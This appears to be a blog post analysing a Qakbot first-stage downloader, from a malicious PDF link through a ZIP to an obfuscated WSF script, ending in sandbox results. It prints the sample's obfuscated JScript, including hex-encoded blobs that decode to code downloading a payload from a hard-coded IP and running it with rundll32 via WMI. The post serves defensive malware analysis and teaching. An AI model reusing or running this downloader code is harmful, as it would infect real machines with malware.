Analyzing Qakbot Malware
Intro
Firstly, this post is heavily inspired by Pr0xylife and Phage. I’ve always been really interested in their analysis and the subsequent good deeds contributed to the infosec community.
What I wanted to show here is some basic, somewhat manual malware analysis of a Qakbot malware sample. The sample was captured in the wild and submitted via Cryptolaemus, which Pr0xylife also works through. The original post detailing execution flow, samples, and IOCs is here.
In this post we analyze the first stage downloader malware, showing the killchain and eventual download of second stage malware.
Qakbot
Qakbot malware originally built its reputation as a banking trojan, stealing financial data, keystrokes, and credentials. However it has developed over the years, self propagating and serving as a ransomware dropper.
Setup
VMs
I’m going to be running a couple VMs for the analysis:
-
Flare VM is a windows based system packaged with a ton of tools and scripts for malware analysis + reverse engineering.
-
Remnux is a Linux based toolkit for malware analysis + reverse engineering.
I’m not married to any particular OS, so I will simply chop and change between either Remnux or Flare VM based on which tool I am using and where it’s most suited. Some analysis tools out there are optimised for Windows, some for Linux. So it’s good to have both available.
Sample
Browse to Malware Bazaar and grab the sample we’re after.
Analysis
The first thing we can do is take an initial look at the sample document:
We can see if we hover over the “OPEN” button, our first IOC in the form of hxxp://iisbeac.com[.]mx/cache/6440fc77eb9cc.zip. If this URL was not immediately available to us we could use another method for analyzing PDFs. There’s a few tools out there, but I find this one reliable: peepdf. I use Remnux to run this tool, here is the output when run against our sample:
Peepdf allows you to analyze the objects located within the pdf, for our malicous document - we can clearly see one object containing a URI. We can then interact with that object to provide our url:
.zip > .wsf
Once we have downloaded the ZIP file, we extract it to provide us with our next file in our execution flow “Claim_E670.wsf”:
Opening the wsf file with notepad++ we’re presented initially with a bunch of random text extracted from phylosophical literature, followed by xml code:
What I did with this file, is copied only the XML code into another file to save and analyze. The code is riddled with obfuscation for example:
var aDEuYUAe8bJFX = true;
var aqMkpSres = "aIsnpGtkWPOaF1";
aMYWQAjkgv9Eh = aqMkpSres.length;
var aCo8mNRxPBIub = false;
agzaeRlBWhJEGSITb = 11957;
var axeDvq1oWChbjH5mf = 49964;
aOJVyEQRtZN = 29114;
au6rfgJzP9hEw = "aGSKaVbCflxF";
However sifting through, you can spot variables being assigned to what looks like a bunch of hex:
var aGmeS2bfzCIs = -23384;
var az7x5O8GPQ = 55652;
var awHEebGXVY9 = "aJdcfXzvP";
var ag3Ou8Nj4 = awHEebGXVY9.toString();
aGp450PiTO = -61951;
var ayTtoW7hgq = "3c003f0078006d006c002000760065007200730069006f006e003d00220031002e00300022003f003e000d000a003c007000610063006b006100670065003e000d000a003c0063006f006d0070006f006e0065006e0074002000690064003d00220063006f006d0070006900640022003e000d000a003c0073006300720069007000740020006c0061006e00670075006100670065003d0022004a0053006300720069007000740022003e000d000a003c0021005b00430044004100540041005b000d000a000d000a0009007600610072002000680074007400700020003d0020006e0065007700200041006300740069007600650058004f0062006a00650063007400280022006d006900630072006f0073006f00660074002e0078006d006c006800740074007000220029003b000d000a00090068007400740070002e006f00700065006e002800220047004500540022002c002000220068007400740070003a002f002f003100380035002e003200350030002e003200340030002e00320035002f0061004f0042004b006400450041006f006e00440034004e00610054006d0043002e0064006100740022002c002000660061006c007300650029003b000d000a00090068007400740070002e00730065006e006400280029003b000d000a000d000a0009007600610072002000610064006f006400620020003d0020006e0065007700200041006300740069007600650058004f0062006a0065006300740028002200610064006f00640062002e00730074007200650061006d00220029003b000d000a000900610064006f00640062002e00740079007000650020003d00200031003b000d000a000900610064006f00640062002e006f00700065006e00280029003b000d000a000900610064006f00640062002e0077007200690074006500280068007400740070002e0052006500730070006f006e007300650042006f006400790029003b000d000a000900610064006f00640062005b002200730061007600650074006f00660069006c00650022005d002800220063003a005c005c00700072006f006700720061006d0064006100740061005c005c006100390044004600650062006f00320063002e0074006d00700022002c002000320029003b000d000a000d000a005d005d003e000d000a003c002f007300630072006900700074003e000d000a003c002f0063006f006d0070006f006e0065006e0074003e000d000a003c002f007000610063006b006100670065003e";
var aYUaDIroO6HR0V = 34667;
alIq6PTNLi5knJz = "ag9tPoDMTuZ2";
adotvpGsJh4ni = alIq6PTNLi5knJz.length;
var aDWXofNsabMJv1E = 13232;
The next thing we can do is run a Powershell command against the file looking for particularly lengthy inputs:
get-content .\Claim_E670.wsf | Where-Object {$_.Length -gt 50} > output.txt
The output leaves us with 2 notable variables:
var ayTtoW7hgq = "3c003f0078006d006c002000760065007200730069006f006e003d00220031002e00300022003f003e000d000a003c007000610063006b006100670065003e000d000a003c0063006f006d0070006f006e0065006e0074002000690064003d00220063006f006d0070006900640022003e000d000a003c0073006300720069007000740020006c0061006e00670075006100670065003d0022004a0053006300720069007000740022003e000d000a003c0021005b00430044004100540041005b000d000a000d000a0009007600610072002000680074007400700020003d0020006e0065007700200041006300740069007600650058004f0062006a00650063007400280022006d006900630072006f0073006f00660074002e0078006d006c006800740074007000220029003b000d000a00090068007400740070002e006f00700065006e002800220047004500540022002c002000220068007400740070003a002f002f003100380035002e003200350030002e003200340030002e00320035002f0061004f0042004b006400450041006f006e00440034004e00610054006d0043002e0064006100740022002c002000660061006c007300650029003b000d000a00090068007400740070002e00730065006e006400280029003b000d000a000d000a0009007600610072002000610064006f006400620020003d0020006e0065007700200041006300740069007600650058004f0062006a0065006300740028002200610064006f00640062002e00730074007200650061006d00220029003b000d000a000900610064006f00640062002e00740079007000650020003d00200031003b000d000a000900610064006f00640062002e006f00700065006e00280029003b000d000a000900610064006f00640062002e0077007200690074006500280068007400740070002e0052006500730070006f006e007300650042006f006400790029003b000d000a000900610064006f00640062005b002200730061007600650074006f00660069006c00650022005d002800220063003a005c005c00700072006f006700720061006d0064006100740061005c005c006100390044004600650062006f00320063002e0074006d00700022002c002000320029003b000d000a000d000a005d005d003e000d000a003c002f007300630072006900700074003e000d000a003c002f0063006f006d0070006f006e0065006e0074003e000d000a003c002f007000610063006b006100670065003e";
var aOiwuNDAhTSQXG = "3c003f0078006d006c002000760065007200730069006f006e003d00220031002e00300022003f003e000d000a003c007000610063006b006100670065003e000d000a003c0063006f006d0070006f006e0065006e0074002000690064003d00220063006f006d0070006900640022003e000d000a003c0073006300720069007000740020006c0061006e00670075006100670065003d0022004a0053006300720069007000740022003e000d000a003c0021005b00430044004100540041005b000d000a000d000a0009007600610072002000700072006f00630065007300730020003d0020004700650074004f0062006a0065006300740028002200770069006e006d0067006d00740073003a007b0069006d0070006500720073006f006e006100740069006f006e004c006500760065006c003d0069006d0070006500720073006f006e006100740065007d002100570069006e00330032005f00500072006f006300650073007300220029003b000d000a000900700072006f0063006500730073002e004300720065006100740065002800220043003a005c005c005c005c00570069006e0064006f00770073005c005c005c005c0053007900730057004f005700360034005c005c005c005c00720075006e0064006c006c00330032002e00650078006500200043003a005c005c00500072006f006700720061006d0044006100740061005c005c006100390044004600650062006f00320063002e0074006d0070002c004d006f0074006400220029003b000d000a000d000a005d005d003e000d000a003c002f007300630072006900700074003e000d000a003c002f0063006f006d0070006f006e0065006e0074003e000d000a003c002f007000610063006b006100670065003e";
CyberChef is the next tool in our arsenal here. Pasting our first blob of hex we get the following output:
A great start! Still some decoding to work through, so we’ll add to our recipe and add the additional hex:
Perfect, we can now see the malicious script in plaintext. We get a few pieces of key information from this finding. The script will attempt to perform the following actions using 2 embedded JScript scripts:
- It will create an ActiveX object “xmlhttp”
- The object will send a GET request to download file from hxxp://185.250.240[.]25/aOBKdEAonD4NaTmC.dat
- Another ActiveX object is created “adodb.stream”. This object writes the response body of the request to file and saves to path “c:\programdata\a9DFebo2c.tmp”
- The next JScript script utilizes winmgmts which is the WMI service to create a Win32 Process with impersonation privileges
- This process is then used to execute the final command which runs rundll32.exe to load a9DFebo2c.tmp, executing the function named “Motd”
From this last command, we can conclude the downloaded file is a malicious .dll
.dll
Finally, I like to run the sample in a commercial sandbox, the one I am privy to being Recorded Future’s Triage
To make sure the sandbox runs correctly using a dll, I will create a batch script to invoke the dll using rundll32.exe. I will then zip the batch script with the dll and submit both.
Here is the result for our sample:
The sandbox provides the extracted malware config, IOCs, TTPs, and a detailed analysis of the 2nd stage malware we submitted. Now we can see the full execution flow from 1st stage malware to 2nd stage as per Cryptolaemus’ original post .pdf > .zip > .wsf > xmlhttp > .dll
Finally, here is a Virus Total Graph representing our objects and the execution flow:
This is where our analysis ends. From here, we could head into reverse engineering the qakbot.dll file. That may well end up in the next post, no promises, again - I’m just rambling.